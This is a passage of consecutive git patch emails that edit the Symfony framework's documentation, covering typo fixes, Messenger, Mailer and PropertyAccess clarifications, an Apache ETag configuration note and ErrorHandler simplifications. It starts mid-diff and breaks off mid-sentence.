@@ -211,7 +211,7 @@ Methods to Change Case
 The methods of all string classes are case-sensitive by default. You can perform
 case-insensitive operations with the ``ignoreCase()`` method::
 
-    u('abc')->indexOf('B');               //  null
+    u('abc')->indexOf('B');               // null
     u('abc')->ignoreCase()->indexOf('B'); // 1
 
 Methods to Append and Prepend

From 1d6eeb28cc9e42a541d3eabad83cc0f2673c7b4b Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Tue, 10 Dec 2019 09:58:08 +0100
Subject: [PATCH 0073/7107] Fix build error

Warning, treated as error:
/home/travis/build/symfony/symfony-docs/components/phpunit_bridge.rst:313: WARNING: Mismatch: both interpreted text role prefix and reference suffix.
---
 components/phpunit_bridge.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/phpunit_bridge.rst b/components/phpunit_bridge.rst
index b2b6a1fac47..43199504e92 100644
--- a/components/phpunit_bridge.rst
+++ b/components/phpunit_bridge.rst
@@ -311,7 +311,7 @@ Deprecation Notices at Autoloading Time
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 By default, the PHPUnit Bridge uses ``DebugClassLoader`` from the
-:doc:`ErrorHandler component </components/error_handler>`_ to throw deprecation
+:doc:`ErrorHandler component </components/error_handler>` to throw deprecation
 notices at class autoloading time. This can be disabled with the
 ``debug-class-loader`` option.
 

From 390e54bff765969c9be5773e185a19a22082945f Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Tue, 10 Dec 2019 10:15:15 +0100
Subject: [PATCH 0074/7107] Typo in command name. refs #12785

---
 service_container.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/service_container.rst b/service_container.rst
index c0d40ae9caa..a09187552f7 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -793,9 +793,9 @@ Linting Service Definitions
 
 .. versionadded:: 4.4
 
-    The ``lint:conainer`` command was introduced in Symfony 4.4.
+    The ``lint:container`` command was introduced in Symfony 4.4.
 
-The ``lint:conainer`` command checks that the arguments injected into services
+The ``lint:container`` command checks that the arguments injected into services
 match their type declarations. It's useful to run it before deploying your
 application to production (e.g. in your continuous integration server):
 

From b04c20b0f1f14ebc912841526224a85c2cdeffd0 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Tue, 10 Dec 2019 10:17:05 +0100
Subject: [PATCH 0075/7107] Removed old versionadded directives

---
 mailer.rst            | 4 ----
 service_container.rst | 4 ----
 2 files changed, 8 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index b9ebbf7c32e..f818fe899f7 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -273,10 +273,6 @@ transports, which is useful to debug errors.
     ID of the message (being the original random ID generated by Symfony or the
     new ID generated by the mailer provider).
 
-    .. versionadded:: 4.4
-
-        The ``getMessageId()`` method was introduced in Symfony 4.4.
-
 The exceptions related to mailer transports (those which implement
 :class:`Symfony\\Component\\Mailer\\Exception\\TransportException`) also provide
 this debug information via the ``getDebug()`` method.
diff --git a/service_container.rst b/service_container.rst
index e17cd722d8f..f918be188cf 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -787,10 +787,6 @@ constructor arguments without any configuration.
 Linting Service Definitions
 ---------------------------
 
-.. versionadded:: 4.4
-
-    The ``lint:container`` command was introduced in Symfony 4.4.
-
 The ``lint:container`` command checks that the arguments injected into services
 match their type declarations. It's useful to run it before deploying your
 application to production (e.g. in your continuous integration server):

From c070711ef3dbffd766eff55d85807966d07c0887 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 10 Dec 2019 13:37:17 +0100
Subject: [PATCH 0076/7107] [Console] Mention that CommandTester doesn't
 dispatch console events

---
 console.rst | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/console.rst b/console.rst
index 2dadcbb5daf..ad00db815a2 100644
--- a/console.rst
+++ b/console.rst
@@ -306,6 +306,12 @@ console::
     You can also test a whole console application by using
     :class:`Symfony\\Component\\Console\\Tester\\ApplicationTester`.
 
+.. caution::
+
+    When testing commands using the ``CommandTester`` class, console events are
+    not dispatched. If you need to test those events, use the
+    :class:`Symfony\\Component\\Console\\Tester\\ApplicationTester` instead.
+
 .. note::
 
     When using the Console component in a standalone project, use

From e52a6663d7bc0e7f3861f539ecbd8b8d4bd3f930 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 10 Dec 2019 15:12:50 +0100
Subject: [PATCH 0077/7107] Minor tweak

---
 components/string.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/components/string.rst b/components/string.rst
index 257564de6b1..068f7fc02a2 100644
--- a/components/string.rst
+++ b/components/string.rst
@@ -125,8 +125,8 @@ There are also some specialized constructors::
     $foo = ByteString::fromRandom(12);
 
     // CodePointString and UnicodeString can create a string from code points
-    $foo = (string) UnicodeString::fromCodePoints(0x928, 0x92E, 0x938, 0x94D, 0x924, 0x947);
-    // $foo = 'नमस्ते'
+    $foo = UnicodeString::fromCodePoints(0x928, 0x92E, 0x938, 0x94D, 0x924, 0x947);
+    // equivalent to: $foo = new UnicodeString('नमस्ते');
 
 Methods to Transform String Objects
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

From 9fdac8b2a905a5b09dd420df3b5f1b2f77bd58a5 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Gr=C3=A9goire=20Paris?= <postmaster@greg0ire.fr>
Date: Tue, 10 Dec 2019 23:10:52 +0100
Subject: [PATCH 0078/7107] Use a instead of an before consonant sounds
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

u is a vowel, but will sometime produce a consonant sound, as in user
([ˈjuːzər]) or URL ([ˌjuːɑːrˈɛl]).
See https://www.grammar.com/a-vs-an-when-to-use/
---
 components/phpunit_bridge.rst     | 2 +-
 http_cache/cache_invalidation.rst | 2 +-
 mercure.rst                       | 6 +++---
 3 files changed, 5 insertions(+), 5 deletions(-)

diff --git a/components/phpunit_bridge.rst b/components/phpunit_bridge.rst
index 7272bcc02a0..e0cb3ad6d06 100644
--- a/components/phpunit_bridge.rst
+++ b/components/phpunit_bridge.rst
@@ -228,7 +228,7 @@ value).
 
 You can have even finer-grained control by using other keys of the ``max``
 array, which are ``self``, ``direct``, and ``indirect``. The
-``SYMFONY_DEPRECATIONS_HELPER`` environment variable accepts an URL-encoded
+``SYMFONY_DEPRECATIONS_HELPER`` environment variable accepts a URL-encoded
 string, meaning you can combine thresholds and any other configuration setting,
 like this: ``SYMFONY_DEPRECATIONS_HELPER=max[total]=42&max[self]=0&verbose=0``
 
diff --git a/http_cache/cache_invalidation.rst b/http_cache/cache_invalidation.rst
index 0d062df58b2..8cb1b6fb80e 100644
--- a/http_cache/cache_invalidation.rst
+++ b/http_cache/cache_invalidation.rst
@@ -9,7 +9,7 @@ Cache Invalidation
     "There are only two hard things in Computer Science: cache invalidation
     and naming things." -- Phil Karlton
 
-Once an URL is cached by a gateway cache, the cache will not ask the
+Once a URL is cached by a gateway cache, the cache will not ask the
 application for that content anymore. This allows the cache to provide fast
 responses and reduces the load on your application. However, you risk
 delivering outdated content. A way out of this dilemma is to use long
diff --git a/mercure.rst b/mercure.rst
index 63865613a72..48faf3f6158 100644
--- a/mercure.rst
+++ b/mercure.rst
@@ -7,7 +7,7 @@ Pushing Data to Clients Using the Mercure Protocol
 Being able to broadcast data in real-time from servers to clients is a
 requirement for many modern web and mobile applications.
 
-Creating an UI reacting in live to changes made by other users
+Creating a UI reacting in live to changes made by other users
 (e.g. a user changes the data currently browsed by several other users,
 all UIs are instantly updated),
 notifying the user when :doc:`an asynchronous job </messenger>` has been
@@ -175,7 +175,7 @@ of the resource being dispatched.
 
 Usually, this parameter contains the original URL of the resource
 transmitted to the client, but it can be any valid `IRI`_, it doesn't
-have to be an URL that exists (similarly to XML namespaces).
+have to be a URL that exists (similarly to XML namespaces).
 
 The second parameter of the constructor is the content of the update.
 It can be anything, stored in any format.
@@ -229,7 +229,7 @@ and to use URI Templates as patterns:
 
 .. tip::
 
-    Test if a URI Template match an URL using `the online debugger`_
+    Test if a URI Template match a URL using `the online debugger`_
 
 Async dispatching
 -----------------

From b6f4e0946c4970e960da3aecec1ca31a1daf5a7f Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 10 Dec 2019 12:29:25 +0100
Subject: [PATCH 0079/7107] Tweak the explanation about event priorities

---
 event_dispatcher.rst | 20 +++++++++++---------
 1 file changed, 11 insertions(+), 9 deletions(-)

diff --git a/event_dispatcher.rst b/event_dispatcher.rst
index 1152da89856..ebbb2bcecac 100644
--- a/event_dispatcher.rst
+++ b/event_dispatcher.rst
@@ -115,11 +115,11 @@ using a special "tag":
     method executed by default is ``onKernelException()``.
 
     The other optional tag attribute is called  ``priority``, which defaults to
-    ``0`` and it controls the order in which listeners are executed (the higher
-    the number the earlier a listener is executed). This is useful when you
-    need to guarantee that one listener is executed before another. The priorities
-    of the internal Symfony listeners usually range from ``-255`` to ``255`` but
-    your own listeners can use any positive or negative integer.
+    ``0`` and it controls the order in which listeners are executed for a given
+    event (the higher the number the earlier a listener is executed). This is
+    useful when you need to guarantee that one listener is executed before
+    another. The priorities of the internal Symfony listeners usually range from
+    ``-255`` to ``255`` but your own listeners can use any positive or negative integer.
 
 .. _events-subscriber:
 
@@ -131,10 +131,12 @@ that defines one or more methods that listen to one or various events. The main
 difference with the event listeners is that subscribers always know which events
 they are listening to.
 
-In a given subscriber, different methods can listen to the same event. The order
-in which methods are executed is defined by the ``priority`` parameter of each
-method (the higher the number the earlier the method is called). To learn more
-about event subscribers, read :doc:`/components/event_dispatcher`.
+If different event subscriber methods listen to the same event, their order is
+defined by the ``priority`` parameter. This value is a positive or negative
+integer which defaults to ``0``. The higher the number, the earlier the method
+is called. **Priority is aggregated for all listeners and subscribers**, so your
+methods could be executed before or after the methods defined in other listeners
+and subscribers. To learn more about event subscribers, read :doc:`/components/event_dispatcher`.
 
 The following example shows an event subscriber that defines several methods which
 listen to the same ``kernel.exception`` event::

From 71f352bfecf10992ef86d0c64d0fcec5ca4f89b6 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 10 Dec 2019 13:04:42 +0100
Subject: [PATCH 0080/7107] Mention the issues of ETag-based validation and
 Apache compression

---
 http_cache/validation.rst | 33 ++++++++++++++++++++++++++-------
 1 file changed, 26 insertions(+), 7 deletions(-)

diff --git a/http_cache/validation.rst b/http_cache/validation.rst
index 5bae7bf38a4..d2f115f149f 100644
--- a/http_cache/validation.rst
+++ b/http_cache/validation.rst
@@ -38,13 +38,15 @@ to implement the validation model: ``ETag`` and ``Last-Modified``.
 Validation with the ``ETag`` Header
 -----------------------------------
 
-The ``ETag`` header is a string header (called the "entity-tag") that uniquely
-identifies one representation of the target resource. It's entirely generated
-and set by your application so that you can tell, for example, if the ``/about``
-resource that's stored by the cache is up-to-date with what your application
-would return. An ``ETag`` is like a fingerprint and is used to quickly compare
-if two different versions of a resource are equivalent. Like fingerprints,
-each ``ETag`` must be unique across all representations of the same resource.
+The `HTTP ETag`_ ("entity-tag") header is an optional HTTP header whose value is
+an arbitrary string that uniquely identifies one representation of the target
+resource. It's entirely generated and set by your application so that you can
+tell, for example, if the ``/about`` resource that's stored by the cache is
+up-to-date with what your application would return.
+
+An ``ETag`` is like a fingerprint and is used to quickly compare if two
+different versions of a resource are equivalent. Like fingerprints, each
+``ETag`` must be unique across all representations of the same resource.
 
 To see a simple implementation, generate the ETag as the md5 of the content::
 
@@ -72,6 +74,20 @@ method compares the ``If-None-Match`` header with the ``ETag`` response header.
 If the two match, the method automatically sets the ``Response`` status code
 to 304.
 
+.. note::
+
+    When using ``mod_deflate`` or ``mod_brotli`` in Apache 2.4, the original
+    ``ETag`` value is modified (e.g. if ``ETag`` was ``foo``, Apache turns it
+    into ``foo-gzip`` or ``foo-br``), which breaks the ETag-based validation.
+
+    You can control this behavior with the `DeflateAlterETag`_ and `BrotliAlterETag`_
+    directives. Alternatively, you can use the following Apache configuration to
+    keep both the original ETag and the modified one when compressing responses:
+
+    .. code-block:: apache
+
+        RequestHeader edit "If-None-Match" '^"((.*)-(gzip|br))"$' '"$1", "$2"'
+
 .. note::
 
     The cache sets the ``If-None-Match`` header on the request to the ``ETag``
@@ -219,3 +235,6 @@ headers that must not be present for ``304`` responses (see
 :method:`Symfony\\Component\\HttpFoundation\\Response::setNotModified`).
 
 .. _`expiration model`: https://tools.ietf.org/html/rfc2616#section-13.2
+.. _`HTTP ETag`: https://en.wikipedia.org/wiki/HTTP_ETag
+.. _`DeflateAlterETag`: https://httpd.apache.org/docs/trunk/mod/mod_deflate.html#deflatealteretag
+.. _`BrotliAlterETag`: https://httpd.apache.org/docs/2.4/mod/mod_brotli.html#brotlialteretag

From b9f315ffe7eb9318831e195f129f636eabf733a1 Mon Sep 17 00:00:00 2001
From: Ryan Weaver <ryan@thatsquality.com>
Date: Tue, 22 Oct 2019 10:01:05 -0400
Subject: [PATCH 0081/7107] Middleware clarification about being called on
 \"receive\"

---
 components/messenger.rst | 6 +++++-
 messenger.rst            | 4 ++++
 2 files changed, 9 insertions(+), 1 deletion(-)

diff --git a/components/messenger.rst b/components/messenger.rst
index c17220d25a3..63761ec3dfc 100644
--- a/components/messenger.rst
+++ b/components/messenger.rst
@@ -54,7 +54,9 @@ Concepts
    For instance: logging, validating a message, starting a transaction, ...
    They are also responsible for calling the next middleware in the chain,
    which means they can tweak the envelope, by adding stamps to it or even
-   replacing it, as well as interrupt the middleware chain.
+   replacing it, as well as interrupt the middleware chain. Middleware are called
+   both when a message is originally dispatched and again later when a message
+   is received from a tansport,
 
 **Envelope**
    Messenger specific concept, it gives full flexibility inside the message bus,
@@ -174,6 +176,8 @@ Hence you can inspect the envelope content and its stamps, or add any::
 
                 // You could for example add another stamp.
                 $envelope = $envelope->with(new AnotherStamp(/* ... */));
+            } else {
+                // Message was just originally dispatched
             }
 
             return $stack->next()->handle($envelope, $stack);
diff --git a/messenger.rst b/messenger.rst
index 1c4f8c06d91..185da3f5640 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1297,6 +1297,10 @@ for each bus looks like this:
     These middleware names are actually shortcuts names. The real service ids
     are prefixed with ``messenger.middleware.``.
 
+The middleware are executed when the message is dispatched but *also* again when
+a message is received via the worker (for messages that were sent to a transport
+to be handled asynchronously). Keep this in mind if you create your own middleware.
+
 You can add your own middleware to this list, or completely disable the default
 middleware and *only* include your own:
 

From f89f52139307c3a120c5db0dab82486d6b3ecb93 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 11 Dec 2019 17:12:50 +0100
Subject: [PATCH 0082/7107] Tweak

---
 components/messenger.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/messenger.rst b/components/messenger.rst
index 37e55675a79..ba7acf6da49 100644
--- a/components/messenger.rst
+++ b/components/messenger.rst
@@ -56,7 +56,7 @@ Concepts
    which means they can tweak the envelope, by adding stamps to it or even
    replacing it, as well as interrupt the middleware chain. Middleware are called
    both when a message is originally dispatched and again later when a message
-   is received from a tansport,
+   is received from a transport,
 
 **Envelope**
    Messenger specific concept, it gives full flexibility inside the message bus,

From d9fd6a7617cb2d520addf38e38cb371be67f1dc1 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 12 Dec 2019 11:13:37 +0100
Subject: [PATCH 0083/7107] [Messenger] Added a missing class import

---
 components/messenger.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/components/messenger.rst b/components/messenger.rst
index ba7acf6da49..fa4b4a7d81b 100644
--- a/components/messenger.rst
+++ b/components/messenger.rst
@@ -163,6 +163,7 @@ Instead of dealing directly with the messages in the middleware you receive the
 Hence you can inspect the envelope content and its stamps, or add any::
 
     use App\Message\Stamp\AnotherStamp;
+    use Symfony\Component\Messenger\Envelope;
     use Symfony\Component\Messenger\Middleware\MiddlewareInterface;
     use Symfony\Component\Messenger\Middleware\StackInterface;
     use Symfony\Component\Messenger\Stamp\ReceivedStamp;

From 70503a75fbdc998bd7344131dca329e2f48c2ac1 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 12 Dec 2019 15:54:02 +0100
Subject: [PATCH 0084/7107] [Messenger] Minor tweaks for the main Messenger
 article

---
 messenger.rst | 17 +++++++++--------
 1 file changed, 9 insertions(+), 8 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index 533482d957e..ad8732691b5 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -50,9 +50,10 @@ serialized::
 
 .. _messenger-handler:
 
-A message handler is a PHP callable, the recommended way to create it is to create a class that
-implements ``MessageHandlerInterface`` and has an ``__invoke()`` method that's
-type-hinted with the message class (or a message interface)::
+A message handler is a PHP callable, the recommended way to create it is to
+create a class that implements :class:`Symfony\\Component\\Messenger\\Handler\\MessageHandlerInterface`
+and has an ``__invoke()`` method that's type-hinted with the message class (or a
+message interface)::
 
     // src/MessageHandler/SmsNotificationHandler.php
     namespace App\MessageHandler;
@@ -111,7 +112,7 @@ Transports: Async/Queued Messages
 By default, messages are handled as soon as they are dispatched. If you want
 to handle a message asynchronously, you can configure a transport. A transport
 is capable of sending messages (e.g. to a queueing system) and then
-:ref:`receiving them via a worker<messenger-worker>`. Messenger supports
+:ref:`receiving them via a worker <messenger-worker>`. Messenger supports
 :ref:`multiple transports <messenger-transports-config>`.
 
 .. note::
@@ -503,7 +504,7 @@ different messages to them. For example:
                             # queue_name is specific to the doctrine transport
                             queue_name: high
 
-                            # for amqp send to a separate exchange then queue
+                            # for AMQP send to a separate exchange then queue
                             #exchange:
                             #    name: high
                             #queues:
@@ -1240,7 +1241,7 @@ Envelopes & Stamps
 ~~~~~~~~~~~~~~~~~~
 
 A message can be any PHP object. Sometimes, you may need to configure something
-extra about the message - like the way it should be handled inside Amqp or adding
+extra about the message - like the way it should be handled inside AMQP or adding
 a delay before the message should be handled. You can do that by adding a "stamp"
 to your message::
 
@@ -1294,8 +1295,8 @@ for each bus looks like this:
 
 .. note::
 
-    These middleware names are actually shortcuts names. The real service ids
-    are prefixed with ``messenger.middleware.``.
+    These middleware names are actually shortcut names. The real service ids
+    are prefixed with ``messenger.middleware.`` (e.g. ``messenger.middleware.handle_message``).
 
 The middleware are executed when the message is dispatched but *also* again when
 a message is received via the worker (for messages that were sent to a transport

From 403cc509d3823b3cefd56fa9bc4019f3f0c1b223 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 12 Dec 2019 17:50:44 +0100
Subject: [PATCH 0085/7107] [Mailer] Minor tweaks in the mailer docs

---
 mailer.rst | 7 +++++--
 1 file changed, 5 insertions(+), 2 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index aecb585eb87..4d54c3bef00 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -121,7 +121,9 @@ and create an :class:`Symfony\\Component\\Mime\\Email` object::
                 ->text('Sending emails is fun again!')
                 ->html('<p>See Twig integration for better HTML integration!</p>');
 
-            $mailer->send($email);
+            /** @var Symfony\Component\Mailer\SentMessage $sentEmail */
+            $sentEmail = $mailer->send($email);
+            // $messageId = $sentEmail->getMessageId();
 
             // ...
         }
@@ -157,7 +159,8 @@ both strings or address objects::
 
     Instead of calling ``->from()`` *every* time you create a new email, you can
     create an :doc:`event subscriber </event_dispatcher>` and listen to the
-    ``MessageEvent::class`` event to set the same ``From`` email to all messages.
+    :class:`Symfony\\Component\\Mailer\\Event\\MessageEvent` event to set the
+    same ``From`` email to all messages.
 
 Multiple addresses are defined with the ``addXXX()`` methods::
 

From c0ea4d29e21c911253b3531ded5e678d25aebb42 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 13 Dec 2019 10:15:26 +0100
Subject: [PATCH 0086/7107] Fixed method names when using the method directive

---
 components/options_resolver.rst |  2 +-
 components/property_info.rst    | 10 +++++-----
 2 files changed, 6 insertions(+), 6 deletions(-)

diff --git a/components/options_resolver.rst b/components/options_resolver.rst
index fec225e5bf1..05e6ece5b98 100644
--- a/components/options_resolver.rst
+++ b/components/options_resolver.rst
@@ -748,7 +748,7 @@ method::
 
     When using an option deprecated by you in your own library, you can pass
     ``false`` as the second argument of the
-    :method:`Symfony\\Component\\OptionsResolver\\Options::offsetGet()` method
+    :method:`Symfony\\Component\\OptionsResolver\\Options::offsetGet` method
     to not trigger the deprecation warning.
 
 Instead of passing the message, you may also pass a closure which returns
diff --git a/components/property_info.rst b/components/property_info.rst
index d800c14d845..dce587e629e 100644
--- a/components/property_info.rst
+++ b/components/property_info.rst
@@ -120,11 +120,11 @@ Extractable Information
 The :class:`Symfony\\Component\\PropertyInfo\\PropertyInfoExtractor`
 class exposes public methods to extract several types of information:
 
-* :ref:`List of properties <property-info-list>`: :method:`Symfony\\Component\\PropertyInfo\\PropertyListExtractorInterface::getProperties()`
-* :ref:`Property type <property-info-type>`: :method:`Symfony\\Component\\PropertyInfo\\PropertyTypeExtractorInterface::getTypes()`
-* :ref:`Property description <property-info-description>`: :method:`Symfony\\Component\\PropertyInfo\\PropertyDescriptionExtractorInterface::getShortDescription()` and :method:`Symfony\\Component\\PropertyInfo\\PropertyDescriptionExtractorInterface::getLongDescription()`
-* :ref:`Property access details <property-info-access>`: :method:`Symfony\\Component\\PropertyInfo\\PropertyAccessExtractorInterface::isReadable()` and  :method:`Symfony\\Component\\PropertyInfo\\PropertyAccessExtractorInterface::isWritable()`
-* :ref:`Property initializable through the constructor <property-info-initializable>`:  :method:`Symfony\\Component\\PropertyInfo\\PropertyInitializableExtractorInterface::isInitializable()`
+* :ref:`List of properties <property-info-list>`: :method:`Symfony\\Component\\PropertyInfo\\PropertyListExtractorInterface::getProperties`
+* :ref:`Property type <property-info-type>`: :method:`Symfony\\Component\\PropertyInfo\\PropertyTypeExtractorInterface::getTypes`
+* :ref:`Property description <property-info-description>`: :method:`Symfony\\Component\\PropertyInfo\\PropertyDescriptionExtractorInterface::getShortDescription` and :method:`Symfony\\Component\\PropertyInfo\\PropertyDescriptionExtractorInterface::getLongDescription`
+* :ref:`Property access details <property-info-access>`: :method:`Symfony\\Component\\PropertyInfo\\PropertyAccessExtractorInterface::isReadable` and  :method:`Symfony\\Component\\PropertyInfo\\PropertyAccessExtractorInterface::isWritable`
+* :ref:`Property initializable through the constructor <property-info-initializable>`:  :method:`Symfony\\Component\\PropertyInfo\\PropertyInitializableExtractorInterface::isInitializable`
 
 .. note::
 

From 91eb804097fb09ca69ec4be0ccdac65c2be0e0df Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 13 Dec 2019 11:03:54 +0100
Subject: [PATCH 0087/7107] Tweaked the PropertyAccess doc

---
 components/property_access.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/components/property_access.rst b/components/property_access.rst
index c368d3581ac..d1732b29893 100644
--- a/components/property_access.rst
+++ b/components/property_access.rst
@@ -158,13 +158,13 @@ getters, this means that you can do something like this::
     $person = new Person();
 
     if ($propertyAccessor->getValue($person, 'author')) {
-        var_dump('He is an author');
+        var_dump('This person is an author');
     }
     if ($propertyAccessor->getValue($person, 'children')) {
-        var_dump('He has children');
+        var_dump('This person has children');
     }
 
-This will produce: ``He is an author``
+This will produce: ``This person is an author``
 
 Magic ``__get()`` Method
 ~~~~~~~~~~~~~~~~~~~~~~~~

From fc44076e1edb32e8da65cf664f73ba43abfa2b02 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 13 Dec 2019 11:09:52 +0100
Subject: [PATCH 0088/7107] [PropertyAccess] Update the method directives

---
 components/property_access.rst | 25 +++++++++++--------------
 1 file changed, 11 insertions(+), 14 deletions(-)

diff --git a/components/property_access.rst b/components/property_access.rst
index c18eccdcd30..5c91e343204 100644
--- a/components/property_access.rst
+++ b/components/property_access.rst
@@ -21,7 +21,7 @@ Usage
 -----
 
 The entry point of this component is the
-:method:`PropertyAccess::createPropertyAccessor<Symfony\\Component\\PropertyAccess\\PropertyAccess::createPropertyAccessor>`
+:method:`Symfony\\Component\\PropertyAccess\\PropertyAccess::createPropertyAccessor`
 factory. This factory will create a new instance of the
 :class:`Symfony\\Component\\PropertyAccess\\PropertyAccessor` class with the
 default configuration::
@@ -34,8 +34,8 @@ Reading from Arrays
 -------------------
 
 You can read an array with the
-:method:`PropertyAccessor::getValue<Symfony\\Component\\PropertyAccess\\PropertyAccessor::getValue>`
-method. This is done using the index notation that is used in PHP::
+:method:`Symfony\\Component\\PropertyAccess\\PropertyAccessor::getValue` method.
+This is done using the index notation that is used in PHP::
 
     // ...
     $person = [
@@ -175,7 +175,7 @@ Accessing a non Existing Property Path
     Symfony 4.3.
 
 By default a :class:`Symfony\\Component\\PropertyAccess\\Exception\\NoSuchPropertyException`
-is thrown if the property path passed to :method:`PropertyAccessor::getValue<Symfony\\Component\\PropertyAccess\\PropertyAccessor::getValue>`
+is thrown if the property path passed to :method:`Symfony\\Component\\PropertyAccess\\PropertyAccessor::getValue`
 does not exist. You can change this behavior using the
 :method:`Symfony\\Component\\PropertyAccess\\PropertyAccessorBuilder::disableExceptionOnInvalidPropertyPath`
 method::
@@ -259,7 +259,7 @@ enable this feature by using :class:`Symfony\\Component\\PropertyAccess\\Propert
 .. caution::
 
     The ``__call()`` feature is disabled by default, you can enable it by calling
-    :method:`PropertyAccessorBuilder::enableMagicCall<Symfony\\Component\\PropertyAccess\\PropertyAccessorBuilder::enableMagicCall>`
+    :method:`Symfony\\Component\\PropertyAccess\\PropertyAccessorBuilder::enableMagicCall`
     see `Enable other Features`_.
 
 Writing to Arrays
@@ -267,8 +267,7 @@ Writing to Arrays
 
 The ``PropertyAccessor`` class can do more than just read an array, it can
 also write to an array. This can be achieved using the
-:method:`PropertyAccessor::setValue<Symfony\\Component\\PropertyAccess\\PropertyAccessor::setValue>`
-method::
+:method:`Symfony\\Component\\PropertyAccess\\PropertyAccessor::setValue` method::
 
     // ...
     $person = [];
@@ -404,10 +403,9 @@ Checking Property Paths
 -----------------------
 
 When you want to check whether
-:method:`PropertyAccessor::getValue<Symfony\\Component\\PropertyAccess\\PropertyAccessor::getValue>`
-can safely be called without actually calling that method, you can use
-:method:`PropertyAccessor::isReadable<Symfony\\Component\\PropertyAccess\\PropertyAccessor::isReadable>`
-instead::
+:method:`Symfony\\Component\\PropertyAccess\\PropertyAccessor::getValue` can
+safely be called without actually calling that method, you can use
+:method:`Symfony\\Component\\PropertyAccess\\PropertyAccessor::isReadable` instead::
 
     $person = new Person();
 
@@ -415,9 +413,8 @@ instead::
         // ...
     }
 
-The same is possible for :method:`PropertyAccessor::setValue<Symfony\\Component\\PropertyAccess\\PropertyAccessor::setValue>`:
-Call the
-:method:`PropertyAccessor::isWritable<Symfony\\Component\\PropertyAccess\\PropertyAccessor::isWritable>`
+The same is possible for :method:`Symfony\\Component\\PropertyAccess\\PropertyAccessor::setValue`:
+Call the :method:`Symfony\\Component\\PropertyAccess\\PropertyAccessor::isWritable`
 method to find out whether a property path can be updated::
 
     $person = new Person();

From 775703e1d383451c052c9c5eb1b64d4648f534b4 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 16 Dec 2019 15:31:38 +0100
Subject: [PATCH 0089/7107] [ErrorHandler] Simplified docs

---
 components/error_handler.rst | 36 ++++++------------------------------
 1 file changed, 6 insertions(+), 30 deletions(-)

diff --git a/components/error_handler.rst b/components/error_handler.rst
index 7452ebce3e5..08e179efa20 100644
--- a/components/error_handler.rst
+++ b/components/error_handler.rst
@@ -22,14 +22,9 @@ Installation
 Usage
 -----
 
-The ErrorHandler component provides several tools to help you debug PHP code:
-
-* An **error handler** that turns PHP errors into exceptions;
-* An **exception handler** that turns uncaught PHP exceptions into nice PHP responses;
-* A **debug class loader** that provides better errors when a class is not found.
-
+The ErrorHandler component provides several tools to help you debug PHP code.
 Call this method (e.g. in your :ref:`front controller <architecture-front-controller>`)
-to enable all these features in your application::
+to enable all of them in your application::
 
     // public/index.php
     use Symfony\Component\ErrorHandler\Debug;
@@ -52,9 +47,10 @@ Turning PHP Errors into Exceptions
 ----------------------------------
 
 The :class:`Symfony\\Component\\ErrorHandler\\ErrorHandler` class catches PHP
-errors and turns them into PHP's :phpclass:`ErrorException` objects, except for
-fatal PHP errors, which are turned into Symfony's
-:class:`Symfony\\Component\\ErrorHandler\\Exception\\FatalErrorException` objects.
+errors and uncaught PHP exceptions and turns them into PHP's
+:phpclass:`ErrorException` objects, except for fatal PHP errors, which are
+turned into Symfony's :class:`Symfony\\Component\\ErrorHandler\\Exception\\FatalErrorException`
+objects.
 
 If the application uses the FrameworkBundle, this error handler is enabled by
 default in the :ref:`production environment <configuration-environments>`
@@ -120,26 +116,6 @@ wrap several function calls inside an anonymous function::
         return $data;
     });
 
-Debugging Uncaught PHP Exceptions
----------------------------------
-
-The :class:`Symfony\\Component\\ErrorHandler\\ExceptionHandler` class catches
-uncaught PHP exceptions and turns them into a nice response, so you can debug
-them. It is useful in :ref:`debug mode <debug-mode>` to replace the default
-PHP/XDebug output with something prettier and more useful.
-
-If the :doc:`HttpFoundation component </components/http_foundation>` is
-available, the handler returns a Symfony's
